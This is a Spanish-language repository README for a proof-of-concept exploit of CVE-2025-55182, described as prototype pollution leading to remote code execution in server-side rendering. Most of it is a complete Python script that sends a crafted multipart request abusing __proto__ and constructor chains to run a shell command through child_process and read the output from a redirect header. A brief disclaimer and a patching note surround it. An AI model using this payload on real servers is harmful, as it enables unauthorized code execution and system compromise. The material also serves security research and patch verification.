
Exploit de Prueba de Concepto para CVE-2025-55182, que demuestra la contaminación de prototipos que lleva a la ejecución remota de código en implementaciones de renderizado del lado del servidor. Incluye script de exploit en Python y recomendaciones de seguridad.
Este repositorio contiene una Prueba de Concepto (PoC) para CVE-2025-55182, una vulnerabilidad que implica Contaminación de Prototipos que conduce a Ejecución Remota de Código (RCE) en ciertas implementaciones de renderizado del lado del servidor.
⚠️ Advertencia: Esta PoC es estrictamente para fines educativos, de investigación y pruebas de seguridad autorizadas en entornos personales o controlados. El uso no autorizado en sistemas sin permiso es ilegal.
La vulnerabilidad ocurre cuando la entrada de usuario no validada se inyecta en estructuras internas de objetos JavaScript (Contaminación de Prototipos). Cuando se combina con flujos de ejecución específicos, esto puede conducir a ejecución de código arbitrario.
En esta PoC, se utilizan propiedades encadenadas como __proto__ y constructor para escalar la contaminación a un contexto de ejecución.
A continuación se muestra el exploit.py que demuestra cómo se puede explotar la vulnerabilidad:
import requests
import json
url = "http://localhost:3000"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
}
prefix = "var res=process.mainModule.require('child_process').execSync('id').toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
files = {
"0": (
None,
json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix,
"_formData": {"get": "$1:constructor:constructor"}
}
}),
"application/json",
),
"1": (None, "\"$@0\""),
}
response = requests.post(url, headers=headers, files=files)
print("Headers:", response.headers.get('x-action-redirect'))
python3 exploit.py
Asegúrate de ejecutarlo solo contra un entorno local o de desarrollo.
Si esta vulnerabilidad afecta a un proyecto del mundo real, verifica e instala los parches de seguridad más recientes publicados por los mantenedores.
child_process en producciónLicencia MIT